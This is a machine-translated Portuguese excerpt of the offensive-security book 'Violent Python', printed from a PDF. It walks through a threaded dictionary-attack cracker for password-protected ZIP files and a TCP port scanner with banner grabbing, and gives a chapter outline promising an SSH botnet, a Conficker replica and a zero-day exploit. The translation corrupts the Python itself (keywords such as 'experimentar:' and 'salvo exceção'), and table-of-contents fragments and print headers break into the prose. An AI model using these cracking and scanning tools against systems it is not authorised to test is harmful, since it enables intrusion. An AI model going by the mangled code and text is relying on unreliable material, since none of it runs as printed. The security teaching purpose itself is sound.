scripts de exemplo tanto de natureza ofensiva. Por exemplo, ter o nosso último
programa que rachou senhas em sistemas Unix. Um adversário pode usar o
ferramenta para obter acesso não autorizado a um sistema; no entanto, poderia uma utilização programador
isso para o bem, bem como o mal? Certamente­vamos expandir.
anos de avanço rápido dezenove de descoberta do dicionário de Clifford Stoll
ataque. No início de 2007, o Brownsville, TX Corpo de Bombeiros recebeu um
denúncia anônima de que cinquenta anos de idade, John Craig Zimmerman navegados porção criança
nography usando recursos do departamento (Floyd, 2007). Quase imediatamente, o
Brownsville Fire Department concedida investigadores da polícia de Brownsville acesso a
De Zimmerman computador de trabalho e disco rígido externo (Floyd, 2007). A polícia
departamento trouxe na cidade programador Albert Castillo para pesquisar o conteúdo
do computador de Zimmerman (McCullagh, 2008). A investigação inicial da Castillo
encontrou várias imagens pornográficas adultos, mas não pornografia infantil.
Continuando a percorrer a fi les, Castillo encontrou alguma fi suspeito les,
incluindo um ZIP protegido por senha fi le intitulado "Cindy 5." Baseando­se na
técnica inventada quase duas décadas antes, Castillo usado um dicionário
ataque para descriptografar o conteúdo do fi protegido por senha le. O resultado
descriptografado fi les mostrou um menor parcialmente nu (McCullagh, 2008). Com esta
informação, um juiz concedeu investigadores um mandado de busca Zimmerman
casa, onde descobriram várias imagens pornográficas adicionais de crian­
dren (McCullagh, 2008). Em 3 de abril de 2007, um júri federal retornou um
acusação, cobrando John Craig Zimmerman com quatro acusações de porte
e produção de pornografia infantil (Floyd, 2007).
Vamos usar a técnica de­forçando bruta de uma senha aprendeu no último exemplo
programa, mas aplicá­lo para fechar fi les. Também vamos usar este exemplo para expandir
alguns conceitos fundamentais de construção de nossos programadores.

O seu segundo programa, a Zip­File Password Cracker
Vamos começar a escrever a nossa zip­ fi le cracker de senha através da análise do zip fi le
biblioteca. Abrindo o interpretador Python, emitimos a ajuda de comando ( 'zip fi le')
para saber mais sobre a biblioteca e ver a ZipFile classe com um método
extractall (). Essa classe e método irá revelar­se útil, por escrito, o nosso programa
de crack zip protegido por senha fi les. Note como o extractall () método tem um
parâmetro opcional para especificar uma senha.

Os seus primeiros programas em Python
25

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/Violent%20Python%20­%20A%20Cookbook%20for%20Hackers,%20Forensic%20A… 23/173
17/02/2016 C: \ Users \ Johan \ Desktop \ Johan \ em inglês \ Python Violent Hacker \ PDF ­ um livro de receitas para os hackers, analistas forenses, Penetraç…

programador $ python
Python 2.7.1 (r271: 86832, 16 de junho de 2011, 16:59:05)
Type "help", "copyright", "créditos" ou "licença" para mais informações.
>>> Ajuda ( 'zipfile')
<.. Cortou ..>
classe ZipFile
| Classe com métodos para abrir, ler, escrever, fechar, lista zip
arquivos.
|
| z = ZipFile (arquivo, modo = "r", compressão = ZIP_STORED,
allowZip64 = False)
<.. Cortou ..>
| extractall (self, caminho = Nenhum, membros = None, pwd = Nenhum)
| Extraia todos os membros do arquivo para o atual
trabalhando

| diretório. 'Caminho' especifica um diretório diferente
extrair para.
| 'Membros' é opcional e deve ser um subconjunto da lista
devolvida
Vamos escrever um script rápido para testar o uso do fi zip le biblioteca. Depois de importar
a biblioteca, que instanciar uma nova classe ZipFile especificando o lename fi do
protegido por senha zip fi le. Para extrair o zip fi le, nós utilizamos o extractall ()
método e especificar o parâmetro opcional para a senha.

zipfile importação
zFile = zipfile.ZipFile ( "evil.zip")
zFile.extractall (pwd = "secreto")
Em seguida, nós executamos nosso script para garantir que ele funciona corretamente. Note­se que antes da
execução, apenas o script eo zip fi le existe em nosso diretório de trabalho atual.
Nós executamos nosso script, que extrai o conteúdo de evil.zip a um recém­criado
diretório chamado mal /. Este diretório contém o fi les do anteriormente
protegido por senha zip fi le.
programador $ ls
unzip.py evil.zip
programador unzip.py $ python
programador $ ls
evil.zip mal unzip.py
programador $ cd mal /
programador $ ls
note_to_adam.txt apple.bmp

26 CAPÍTULO 1: Introdução

No entanto, o que acontece se executar o script com uma senha incorreta?
Vamos adicionar um pouco de manipulação de exceção para capturar e exibir a mensagem de erro
o script.
zipfile importação
zFile = zipfile.ZipFile ( "evil.zip")
experimentar:
zFile.extractall (PWD = "laranjas")
salvo exceção, e:
de impressão e

Executar nosso script com uma senha incorreta, vemos que ele imprime um erro
mensagem, indicando que o usuário especificada uma senha incorreta para descriptografar o
conteúdo do zip protegido por senha fi le.
programador unzip.py $ python
( 'Password Bad para o arquivo', <zipfile.ZipInfo objeto em 0x10a859500>)

Nós podemos usar o fato de que uma senha incorreta gera uma exceção para testar a nossa
zip fi le contra um dicionário fi le. Depois de instanciar uma classe ZipFile, abrimos
um fi dicionário le e percorrer e testar cada palavra no dicionário. E se
o extractall método () executa sem erro, que imprime uma mensagem indi­
ing a senha de trabalho. No entanto, se extractall () lança uma senha ruim
exceção, nós ignorar a exceção e continuar tentando senhas na
dicionário.

zipfile importação
zFile = zipfile.ZipFile ( 'evil.zip')
PASSFILE = open ( 'dictionary.txt')
file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/Violent%20Python%20­%20A%20Cookbook%20for%20Hackers,%20Forensic%20A… 24/173
17/02/2016 C: \ Users \ Johan \ Desktop \ Johan \ em inglês \ Python Violent Hacker \ PDF ­ um livro de receitas para os hackers, analistas forenses, Penetraç…
para a linha em passFile.readlines ():
password = line.strip ( '\ n')
experimentar:
zFile.extractall (pwd = senha)
print '[+] Password =' ​
+ senha + '\ n'

exit (0)
salvo exceção, e:
passar

Executar nosso script, vemos que ela corretamente identifica a senha para o
protegido por senha zip fi le.
programador unzip.py $ python
[+] Password = segredo

Os seus primeiros programas em Python
27

Vamos limpar nosso código um pouco neste momento. Em vez de ter uma pro­ linear
grama, vamos modularize nosso script com as funções.

zipfile importação
def extractFile (zFile, senha):
experimentar:
zFile.extractall (pwd = senha)
voltar senha
exceto:
Retorna
def main ():
zFile = zipfile.ZipFile ( 'evil.zip')
PASSFILE = open ( 'dictionary.txt')
para a linha em passFile.readlines ():
password = line.strip ( '\ n')
acho = extractFile (zFile, password)
se palpite:
print '[+] Password =' ​
+ senha + '\ n'

exit (0)
se __name__ == '__main__':
a Principal()

Com o nosso programa de modularizado em funções distintas, agora podemos aumentar
o nosso desempenho. Em vez de tentar cada palavra no dicionário um de cada vez,
iremos utilizar segmentos de execução para permitir o teste simultâneo de múltiplos
senhas. Para cada palavra no dicionário, vamos gerar um novo segmento de
execução.

zipfile importação
de enfiamento da linha de importação
def extractFile (zFile, senha):
experimentar:
zFile.extractall (pwd = senha)
print '[+] senha encontrado' + senha + '\ n'
exceto:
passar
def main ():
zFile = zipfile.ZipFile ( 'evil.zip')
PASSFILE = open ( 'dictionary.txt')

28 CAPÍTULO 1: Introdução

para a linha em passFile.readlines ():
password = line.strip ( '\ n')
t = Thread (target = extractFile, args = (zFile, password))
t.start ()
se __name__ == '__main__':

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/Violent%20Python%20­%20A%20Cookbook%20for%20Hackers,%20Forensic%20A… 25/173
17/02/2016 C: \ Users \ Johan \ Desktop \ Johan \ em inglês \ Python Violent Hacker \ PDF ­ um livro de receitas para os hackers, analistas forenses, Penetraç…
a Principal()
Agora vamos modificar nosso script para permitir que o usuário especifique o nome do zip
fi le de crack e o nome do dicionário fi le. Para fazer isso, vamos importar o
biblioteca optparse. Vamos descrever esta biblioteca melhor no próximo capítulo. Para
os efeitos do nosso script aqui, só precisa saber que ele analisa fl ags e
parâmetros opcionais seguintes nosso script. Para o nosso zip­ fi roteiro le­cracker, vamos
adicionar duas fl obrigatórias AGS­zip fi le nome e nome do dicionário.

zipfile importação
optparse importação
de enfiamento da linha de importação
def extractFile (zFile, senha):
experimentar:
zFile.extractall (pwd = senha)
print '[+] senha encontrado' + senha + '\ n'
exceto:
passar
def main ():
parser = optparse.OptionParser ( "uso% prog" + \
"­f <Zipfile> ­d <dicionário>")
parser.add_option ( '­ f', dest = 'ZNAME', type = 'string', \
help = 'especificar o arquivo zip')
parser.add_option ( '­ d', dest = 'dname', type = 'string', \
help = 'especificar arquivo de dicionário')
(Opções, args) = parser.parse_args ()
if (options.zname == None) | (Options.dname == None):
parser.usage de impressão
exit (0)
outro:
ZNAME = options.zname
dname = options.dname
zFile = zipfile.ZipFile (ZNAME)
PASSFILE = open (dname)
para a linha em passFile.readlines ():

Referências 29

password = line.strip ( '\ n')
t = Thread (target = extractFile, args = (zFile, password))
t.start ()
se __name__ == '__main__':
a Principal()

Finalmente, testamos a nossa zip­ fi roteiro le­cracker protegido por senha concluída a
garantir que ele funciona. Sucesso com um fi trinta e ve­line roteiro!
programador $ python unzip.py ­f evil.zip ­d dictionary.txt
[+] Encontrado senha secreta

CAPÍTULO WRAP­UP
Neste capítulo, nós brevemente y examinou a biblioteca padrão e alguns built­in
módulos em Python, escrevendo um scanner de vulnerabilidade simples. Em seguida, nós mudamos
em e escreveu nossos dois primeiros programas­a Python vinte anos de idade,­passe UNIX
biscoito palavra e um zip­ fi le de força bruta senha cracker. Você tem agora a
habilidades iniciais para escrever seus próprios scripts. Felizmente, os capítulos seguintes
ser tão emocionante para ler como estavam a escrever. Vamos começar esta viagem pela
examinar como usar Python para atacar sistemas durante um teste de penetração.

Referências
Floyd, J. (2007). Federal grandes acusa júri fi Reman para a produção e posse de criança por­
nography. John T. Floyd Law Firm Web site. Obtido em <http: //www.houston­federal­
criminal­lawyer.com/news/april07/03a.htm>,De Abril de 3.
McCullagh, D. (2008). Pornografia infantil réu preso após ZIP fi le criptografia quebrada. CNET
Notícias . Retirado de Abril de 7, 2012, a partir <http://news.cnet.com/8301­13578_3­9851844­38.html>,
16 de janeiro.
Stoll, C. (1989). O cuco ovo: Acompanhando um espião através do labirinto de computador espionagem . Nova york:
Doubleday.
Stoll, C. (1988). Stalking the Hacker Wily. Comunicações de a ACM, 31 (5), 484­500.
Zatko, P. (2012). fast track cibernético. ShmooCon 2012. Retirado 13 de junho de 2012. A partir de <www.
shmoocon.org/2012/videos/Mudge­CyberFastTrack.m4v>,De Janeiro de 27º.

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/Violent%20Python%20­%20A%20Cookbook%20for%20Hackers,%20Forensic%20A… 26/173
17/02/2016 C: \ Users \ Johan \ Desktop \ Johan \ em inglês \ Python Violent Hacker \ PDF ­ um livro de receitas para os hackers, analistas forenses, Penetraç…

CAPÍTULO 2

Os testes de penetração com o Python

Informações neste capítulo: CONTEÚDO

■  Construção de um porto Scanner Introdução:
o Morris
■  Construindo um SSH Botnet Worm­seria
■  Massa compromisso com FTP Trabalhar hoje? ............. 31
■  Replicar Con fi cker
Construção de um porto
■  Seu Próprio Zero Day Ataque
Scanner ...................... 32
TCP Conectar total digitalização .... 33
bandeira aplicação
Agarrando .......................... 35
Para ser um guerreiro não é uma simples questão de querer ser um. É bastante
Passando a digitalização ......... 37
Integrar o Nmap
uma luta sem fim que vai continuar até o último momento de nossas vidas.
Port Scanner ..................... 39
Ninguém nasce um guerreiro, exatamente da mesma forma que ninguém nasce
um homem médio. Nós tornar­nos em um ou outro Construir uma SSH
­ BotNet com
­Kokoro Por sek Natsume assim, de 1914, no Japão.
Python ........................ 41
Interagir com SSH
Através Pexpect ............. 42
INTRODUÇÃO: O MORRIS WORM­seria Força bruta SSH
TRABALHAR HOJE? Senhas com Pxssh .... 45
Explorando SSH Através
Vinte e dois anos antes do worm Stuxnet prejudicou a energia nuclear iraniana
Chaves Privadas fracos ........... 48
plantas em Bushehr e Natantz (Albright, Brannan, & Walrond, 2010), um grad­Construindo o SSH
Botnet ............................... 53
estudante uate em Cornell lançou o fi munições digitais primeiros. Robert Tappen
Morris Jr., filho do chefe do Centro Nacional de Segurança Informática da NSA,
compromisso Mass
colmatando FTP
infectados seis mil estações de trabalho com um sem­fim apropriadamente apelidada, o Morris
e Web .................... 56
Worm (Elmer­DeWitt, McCarroll, & Voorst, 1988). While 6000 estações de trabalho
Construir uma Anonymous
parecer trivial pelos padrões de hoje, esta figura representa dez por cento de todos os com­
Scanner FTP com
putadores que foram conectados à Internet em 1988. Estimativas aproximadas pela
Python ............................... 57
Governo dos Estados Unidos Accountability Of fi ce que o custo entre US $ 10
e US $ 100 milhões de dólares para erradicar o dano deixado pelos sem­fim de Morris (GAO,
1989). Assim como se isso funciona? 31
Python violento. Http://dx.doi.org/10.1016/B978­1­59­749957­6.00002­8
Copyright © 2013 Elsevier Inc. Todos os direitos reservados.

32 CAPÍTULO 2: Os testes de penetração com o Python

Usando ftplib para Brute
verme de Morris usou um ataque em três frentes a fim de comprometer os sistemas. isto
Usuário Força FTP
Credenciais ....................... 57
primeiro levou vantagem da vulnerabilidade no programa sendmail Unix. Em segundo lugar,
Procura Web explorou uma vulnerabilidade separada no daemon dedo usado por sistemas Unix.
Páginas do FTP Finalmente, ele tentou se conectar a alvos usando o shell remoto (RSH) proto
Servidor ................................ 59col usando uma lista de nomes de usuários e senhas comuns. Se qualquer um dos três ataques
Adicionando um suspeito vetores sucedido, o worm usaria um pequeno programa como um gancho
Injectar a Web Pages ......... 60
Trazendo a Entire para encostar o resto do virus (Eichin & Rochlis, 1989).
Ataque Juntos ............... 62 Será que um ataque similar continuam a trabalhar hoje e podemos aprender a escrever algo
Conficker, Por que seria quase idêntica? Estas perguntas fornecem a base para a restante
Tentando duro é do capítulo. Morris escreveu a maioria de seu ataque na programação C
Sempre bom língua. No entanto, embora a linguagem C é um muito poderoso, é também muito desa­
Chega ...................... 66
atacando o lenging para aprender. Em nítido contraste com isso, a linguagem de programação Python

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/Violent%20Python%20­%20A%20Cookbook%20for%20Hackers,%20Forensic%20A… 27/173
17/02/2016 C: \ Users \ Johan \ Desktop \ Johan \ em inglês \ Python Violent Hacker \ PDF ­ um livro de receitas para os hackers, analistas forenses, Penetraç…
Serviço de SMB do Windows tem uma sintaxe user­friendly e uma riqueza de módulos de terceiros. Isto fornece
uma muito melhor plataforma de suporte e faz com que seja consideravelmente mais fácil para a maioria
com Metasploit ................ 67
Escrevendo para Python programadores para iniciar ataques. Nas páginas seguintes, vamos usar Python
Interagir com para recriar partes do Morris Worm assim como ataque contemporânea
Metasploit ........................ 69
vetores.
Processo remoto
Execução Brute Force ..... 71
Colocá­lo novamente
Juntos para construir a nossa
CONSTRUINDO UM SCANNER PORT
Própria Conficker ................. 71
Reconnaissance serve como o primeiro passo em qualquer bom ataque cibernético. um atacante
deve descobrir onde as vulnerabilidades são antes de selecionar e escolher
Escrevendo sua própria ........
Prova Zero­Day de explora para um alvo. Na seção seguinte, vamos construir uma pequena reconnais­
Código conceito ............ 74
roteiro sance que varre um host de destino portas TCP abertas. No entanto, a fim de
Tampão de Stack­Based
interagir com as portas TCP, precisaremos primeiro construir sockets TCP.
Ataques de estouro ............. 75
Adicionando o Key Python, como a maioria das línguas modernas, fornece acesso à tomada de BSD inter­
Elementos do ataque .... 75 cara. BSD sockets fornecer uma interface de programação de aplicativo que permite
Enviando o Exploit ......... 76
Montagem da Entire codificadores para escrever aplicações para realizar as comunicações de rede
entre os hosts. Através de uma série de funções de soquete API, podemos criar, bind,
Exploit Script .................... 77
escute, ligue ou envie tráfego fi c em sockets TCP / IP. Neste ponto, uma maior compreensão
Capítulo Wrap Up ...... 79
estatuto da TCP / IP e soquetes são necessários, a fim de ajudar a desenvolver o nosso
Referências ................. 80 ataques próprios.

A maioria dos aplicativos acessíveis da Internet reside no TCP. Por exemplo,
em uma organização de destino, o servidor web pode residir na porta TCP 80, o e­mail
servidor na porta TCP 25, eo le servidor de transferência de fi na porta TCP 21. Para conectar­se
qualquer um desses serviços em nossa organização­alvo, o invasor precisa conhecer tanto o
Internet Protocol Address ea porta TCP associada ao serviço. Enquanto
alguém familiarizado com a nossa organização­alvo, provavelmente, teria acesso a
esta informação, um atacante não pode.
Um atacante rotineiramente realiza uma varredura de portas na salvo de qualquer aspiração de abertura
ataque cibernético cessful. Um tipo de varredura de portas inclui o envio de um TCP SYN

33
Construindo um Port Scanner

pacote para uma série de portas comuns e à espera de uma resposta TCP ACK
que irá resultar na sinalização uma porta aberta. Em contraste, a Ligue Varredura TCP
usa o handshake de três vias completa para determinar a disponibilidade do ser­
vice­ou porto.

TCP Conectar total de digitalização
Então, vamos começar por escrever o nosso scanner de porta TCP própria que utiliza um con­ completa TCP
nect varredura para identificar hosts. Para começar, vamos importar a implementação Python
ção do soquete BSD API. A tomada API fornece­nos com algumas funções que
será útil na implementação do nosso scanner de porta TCP. Vamos examinar um par
antes de proceder. Para uma compreensão mais profunda, ver o padrão Python
Documentação Biblioteca em: http://docs.Python.org/library/socket.html.

socket.gethostbyname (hostname) ­ Esta função tem um nome de host, tais
como www.syngress.com e retorna um formato de endereço IPv4 como
69.163.177.2.
socket.gethostbyaddr (endereço IP) ­ Esta função tem um endereço IPv4
e retorna um contendo o nome do host, lista tríplice alternativa de
nomes de host, e uma lista de endereços / v6 IPv4 para a mesma interface
no host.
socket.socket ([família [, tipo [, proto]]]) ­ Esta função cria uma
exemplo de um novo socket dado a família. Opções para o socket
família são AF_INET, AF_INET6 ou AF_UNIX. Além disso, a tomada
pode ser especificado como SOCK_STREAM para um socket TCP ou SOCK_DGRAM para
um soquete UDP. Finalmente, o número de protocolo geralmente é zero e é
omitidos na maioria dos casos.
socket.create_connection (endereço [, tempo limite [, source_address]]) ­ Este
função recebe um 2­tupla (host, porta) e retorna uma instância de um
soquete de rede. Além disso, tem a opção de tomar um tempo limite
e endereço de origem.

A fim de entender melhor como o nosso TCP Port Scanner funciona, vamos
quebrar o nosso roteiro em cinco etapas únicas e escrever código Python para cada um dos
eles. Primeiro, vamos introduzir um nome de host e uma vírgula lista de portas separadas
Digitalizar. Em seguida, vamos traduzir o nome do host em um endereço de Internet IPv4.
Para cada porta na lista, nós também irá se conectar ao endereço de destino e espe­
port c fi ci. Finalmente, para determinar o serviço fi c específico em execução na porta, nós
enviará dados de lixo e ler os resultados bandeira enviados de volta pelo fi cações c
aplicação.
Em nossa primeira etapa, nós aceitamos o nome do host ea porta do usuário. Por isso, o nosso
programa utiliza a biblioteca optparse para analisar opções de linha de comando. o
chamar a optparse. OptionPaser ([mensagem de uso]) cria uma instância de uma opção
analisador. Em seguida, parser.add_option especi fi ca as opções de linha de comando individuais

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/Violent%20Python%20­%20A%20Cookbook%20for%20Hackers,%20Forensic%20A… 28/173
17/02/2016 C: \ Users \ Johan \ Desktop \ Johan \ em inglês \ Python Violent Hacker \ PDF ­ um livro de receitas para os hackers, analistas forenses, Penetraç…

34 CAPÍTULO 2: Os testes de penetração com o Python

para o nosso script. O exemplo a seguir mostra um método rápido para analisar o
hostname de destino e porta para fazer a varredura.

optparse importação
parser = optparse.OptionParser ( 'uso% prog­H' + \
'<Host de destino> ­p <porta de destino>')
parser.add_option ( '­ H', dest = 'tgtHost', type = 'string', \
help = 'especificar host de destino')
parser.add_option ( '­ p', dest = 'tgtPort', type = 'int', \
help = 'especificar porta de destino ")
(Opções, args) = parser.parse_args ()
tgtHost = options.tgtHost
tgtPort = options.tgtPort
if (tgtHost == None) | (TgtPort == None):
parser.usage de impressão
exit (0)

Em seguida, vamos construir duas funções connScan e PortScan. A função PortScan
ção leva as portas de nome de host e de destino como argumentos. Ele irá primeiro tentar
resolver um endereço IP para um nome de host amigável usando o gethostbyname () função
ção. Em seguida, ele irá imprimir o nome do host (ou endereço IP) e enumerar
cada porto tentando se conectar usando a função connScan. o
função connScan terá dois argumentos: tgtHost e tgtPort e tentativa
para criar uma conexão com o host de destino e porta. Se for bem sucedido, connScan
irá imprimir uma mensagem de porta aberta. Se não tiver êxito, ele irá imprimir a porta fechada
mensagem.

optparse importação
da tomada de importação *
def connScan (tgtHost, tgtPort):
experimentar:
connSkt = socket (AF_INET, SOCK_STREAM)
connSkt.connect ((tgtHost, tgtPort))
print '[+]% d / tcp aberta'% tgtPort
connSkt.close ()
exceto:
print '[­]% d / tcp fechada'% tgtPort
def PortScan (tgtHost, tgtPorts):
experimentar:

35
Construindo um Port Scanner

tgtIP = gethostbyname (tgtHost)
exceto:
print "[­] Não é possível resolver '% s': host desconhecido"% tgtHost
Retorna
experimentar:
tgtName = gethostbyaddr (tgtIP)
impressão '\ n [+] Resultados da Análise para:' + tgtName [0]
exceto:
impressão '\ n [+] Resultados da Análise para:' + tgtIP
setdefaulttimeout (1)
para tgtPort em tgtPorts:
print 'porta Scanning' + tgtPort
connScan (tgtHost, int (tgtPort))

Aplicação Faixa de agarramento
A fim de pegar a bandeira aplicação do nosso host de destino, devemos primeiro
inserir o código adicional para a função connScan. Depois de descobrir um aberto
porto, enviamos uma série de dados para a porta e esperar pela resposta. ajuntamento

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/Violent%20Python%20­%20A%20Cookbook%20for%20Hackers,%20Forensic%20A… 29/173
17/02/2016 C: \ Users \ Johan \ Desktop \ Johan \ em inglês \ Python Violent Hacker \ PDF ­ um livro de receitas para os hackers, analistas forenses, Penetraç…
Esta resposta pode nos dar uma indicação do aplicativo em execução no
alvo host e porta.
optparse importação
tomada de importação
da tomada de importação *
def connScan (tgtHost, tgtPort):
experimentar:
connSkt = socket (AF_INET, SOCK_STREAM)
connSkt.connect ((tgtHost, tgtPort))
connSkt.send ( 'ViolentPython \ r \ n')
Resultados = connSkt.recv (100)
print '[+]% d / tcp aberta'% tgtPort
print '[+]' + str (resultados)
connSkt.close ()
exceto:
print '[­]% d / tcp fechada'% tgtPort
def PortScan (tgtHost, tgtPorts):
experimentar:
tgtIP = gethostbyname (tgtHost)
exceto:

36 CAPÍTULO 2: Os testes de penetração com o Python

print "[­] Não é possível resolver '% s': host desconhecido"% tgtHost
Retorna
experimentar:
tgtName = gethostbyaddr (tgtIP)
impressão '\ n [+] Resultados da Análise para:' + tgtName [0]
exceto:
impressão '\ n [+] Resultados da Análise para:' + tgtIP
setdefaulttimeout (1)
para tgtPort em tgtPorts:
print 'porta Scanning' + tgtPort
connScan (tgtHost, int (tgtPort))
def main ():
parser = optparse.OptionParser ( "uso% prog" + \
"­H <Target host> ­p <porta de destino>")
parser.add_option ( '­ H', dest = 'tgtHost', type = 'string', \
help = 'especificar host de destino')
parser.add_option ( '­ p', dest = 'tgtPort', type = 'string', \
help = 'especificar porta de destino [s] separados por vírgula')
(Opções, args) = parser.parse_args ()
tgtHost = options.tgtHost
tgtPorts = str (options.tgtPort) .Split ( ',')
if (tgtHost == None) | (TgtPorts [0] == None):
print '[­] Você deve especificar um host de destino e porta [s].'
exit (0)
PortScan (tgtHost, tgtPorts)
se __name__ == '__main__':
a Principal()

Por exemplo, a digitalização de um host com um servidor FTP FreeFloat instalado pode revelar
as seguintes informações no banner garra:

atacante $ python portscanner.py ­H 192.168.1.37 ­p 21, 22, 80
[+] Resultados da Análise para: 192.168.1.37
porta de digitalização 21
[+] 21 / tcp aberto
[+] 220 FreeFloat FTP Server (versão 1.00).

Em saber que o servidor executa FreeFloat FTP (versão 1.00), este irá provar
ser útil para orientar a nossa aplicação, como visto mais tarde.

37
Construindo um Port Scanner

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/Violent%20Python%20­%20A%20Cookbook%20for%20Hackers,%20Forensic%20A… 30/173
17/02/2016 C: \ Users \ Johan \ Desktop \ Johan \ em inglês \ Python Violent Hacker \ PDF ­ um livro de receitas para os hackers, analistas forenses, Penetraç…

Passando a digitalização
Dependendo da variável tempo limite para uma tomada, uma varredura de cada soquete pode demorar
vários segundos. Enquanto isso parece trivial, ele rapidamente acrescenta­se a digitalizar
múltiplos hosts ou portas. Idealmente, gostaríamos de verificar soquetes simultaneamente
ao contrário de sequencialmente. Digite Python threading. Enfiar fornece uma maneira
para executar estes tipos de execuções simultaneamente. Para utilizar este em nossa
digitalização, vamos modificar a iteração do loop na nossa função PortScan (). Observe como
nós chamamos a função connScan como um fio. Cada segmento criado na iteração
aparecerão agora para executar ao mesmo tempo.

para tgtPort em tgtPorts:
t = rosca (target = connScan, args = (tgtHost, int (tgtPort)))
t.start ()
Enquanto isso nos fornece uma fi vantagem significante em velocidade, ele faz presente
uma desvantagem. Nossa função connScan () imprime uma saída para a tela.
Se vários segmentos imprimir uma saída, ao mesmo tempo, pode aparecer ilegível
e fora de ordem. A fim de permitir que uma função tem o controle completo do
tela, usaremos um semáforo. Um semáforo simples nos fornece um bloqueio para pré­
desabafar outros segmentos de prosseguir. Note­se que antes da impressão de uma saída, nós
agarrou um porão de o bloqueio usando screenLock.acquire (). Se aberto, o semáforo
nos dará acesso a prosseguir e vamos imprimir na tela. Se bloqueado, iremos
ter que esperar até a thread que o semáforo libera o bloqueio. por utiliz­
ing este semáforo, agora garantir que apenas um thread pode imprimir a tela em
qualquer dado ponto no tempo. No nosso código de manipulação de exceção, a fi nalmente palavra­chave
executa o código a seguir antes de terminar o bloco.

ScreenLock = Semaphore (value = 1)
def connScan (tgtHost, tgtPort):
experimentar:
connSkt = socket (AF_INET, SOCK_STREAM)
connSkt.connect ((tgtHost, tgtPort))
connSkt.send ( 'ViolentPython \ r \ n')
Resultados = connSkt.recv (100)
screenLock.acquire ()
print '[+]% d / tcp aberta'% tgtPort
print '[+]' + str (resultados)
exceto:
screenLock.acquire ()
print '[­]% d / tcp fechada'% tgtPort
finalmente:

38 CAPÍTULO 2: Os testes de penetração com o Python

screenLock.release ()
connSkt.close ()
Colocar todas as outras funções para o mesmo script e adicionando alguma opção pars­
ing, nós produzimos nosso script scanner de porta fi nal.
optparse importação
da tomada de importação *
de rosca import *
ScreenLock = Semaphore (value = 1)
def connScan (tgtHost, tgtPort):
experimentar:
connSkt = socket (AF_INET, SOCK_STREAM)
connSkt.connect ((tgtHost, tgtPort))
connSkt.send ( 'ViolentPython \ r \ n')
Resultados = connSkt.recv (100)
screenLock.acquire ()
print '[+]% d / tcp aberta'% tgtPort
print '[+]' + str (resultados)
exceto:
screenLock.acquire ()
print '[­]% d / tcp fechada'% tgtPort
finalmente:
screenLock.release ()
connSkt.close ()
def PortScan (tgtHost, tgtPorts):

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/Violent%20Python%20­%20A%20Cookbook%20for%20Hackers,%20Forensic%20A… 31/173
17/02/2016 C: \ Users \ Johan \ Desktop \ Johan \ em inglês \ Python Violent Hacker \ PDF ­ um livro de receitas para os hackers, analistas forenses, Penetraç…

experimentar:
tgtIP = gethostbyname (tgtHost)
exceto:
print "[­] Não é possível resolver '% s': host desconhecido"% tgtHost
Retorna
experimentar:
tgtName = gethostbyaddr (tgtIP)
impressão '\ n [+] Resultados da Análise para:' + tgtName [0]
exceto:
impressão '\ n [+] Resultados da Análise para:' + tgtIP
setdefaulttimeout (1)
para tgtPort em tgtPorts:
t = rosca (target = connScan, args = (tgtHost, int (tgtPort)))
t.start ()

39
Construindo um Port Scanner

def main ():
parser = optparse.OptionParser ( 'uso% prog' + \
'­H <Target host> ­p <porta de destino>')
parser.add_option ( '­ H', dest = 'tgtHost', type = 'string', \
help = 'especificar host de destino')
parser.add_option ( '­ p', dest = 'tgtPort', type = 'string', \
help = 'especificar porta de destino [s] separados por vírgula')
(Opções, args) = parser.parse_args ()
tgtHost = options.tgtHost
tgtPorts = str (options.tgtPort) .Split ( ',')
if (tgtHost == None) | (TgtPorts [0] == None):
parser.usage de impressão
exit (0)
PortScan (tgtHost, tgtPorts)
se __name__ == "__main__":
a Principal()

Executar o script contra um alvo, vemos que tem um servidor em execução Xitami FTP
na porta TCP 21 e que a porta TCP 1720 está fechado.
atacante: ~ # python portScan.py ­H 10.50.60.125 ­p 21, 1720
[+] Resultados da Análise para: 10.50.60.125
[+] 21 / tcp aberto
[+] 220­ Bem­vindo a este servidor FTP Xitami
[­] 1720 / tcp fechada

Integrar o Scanner Nmap Porto
O nosso exemplo anterior fornece um script rápido para executar uma conexão TCP
digitalizar. Isso pode revelar­se limitada como se pode exigir a capacidade de executar adi­
tipos de verificação adicionais, tais como ACK, RST, FIN, ou varreduras SYN­ACK fornecidos pelo
Nmap kit de ferramentas (Vaskovich, 1997). O padrão de facto para uma varredura de portas
toolkit, Nmap, oferece uma bastante extensa quantidade de funcionalidade. Isto suscita
a pergunta, por que não usar o Nmap? Digite a verdadeira beleza de Python. Enquanto
Fyodor Vaskovich escreveu Nmap e seus scripts associados no pro­ C e LUA
gramação línguas, Nmap é capaz de ser integrado em vez muito bem em Python.
Nmap produz uma saída baseada em XML. Steve Milner e Brian Bustin escreveu uma
biblioteca Python que analisa esta saída baseada em XML. Isto dá­nos a
capacidade de utilizar a funcionalidade completa do Nmap dentro de um script Python. antes
começando, você deve instalar Python­Nmap, disponível em http://xael.org/norman/
python / / python­nmap. Certifique­se de que você levar em consideração o desenvolvedor do
notas sobre as diferentes versões do Python 3.x e Python 2.x.

40 CAPÍTULO 2: Os testes de penetração com o Python

MAIS INFORMAÇÃO…
Outros Tipos de Port Scans
Considere alguns outros tipos de exames. Enquanto nós não possuem as ferramentas para pacotes de artesanato com opções de TCP,

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/Violent%20Python%20­%20A%20Cookbook%20for%20Hackers,%20Forensic%20A… 32/173
17/02/2016 C: \ Users \ Johan \ Desktop \ Johan \ em inglês \ Python Violent Hacker \ PDF ­ um livro de receitas para os hackers, analistas forenses, Penetraç…
vamos abordar isso mais tarde no Capítulo 5. Naquele tempo ver se você pode replicar alguns destes varredura
tipos em seu scanner de porta.
TCP SYN SCAN­Também conhecida como uma varredura semi­aberto, este tipo de análise inicia uma conexão TCP
com um pacote SYN e espera por uma resposta. Um pacote de reset indica que a porta está fechada, enquanto um
SYN / ACK indica que a porta está aberta.
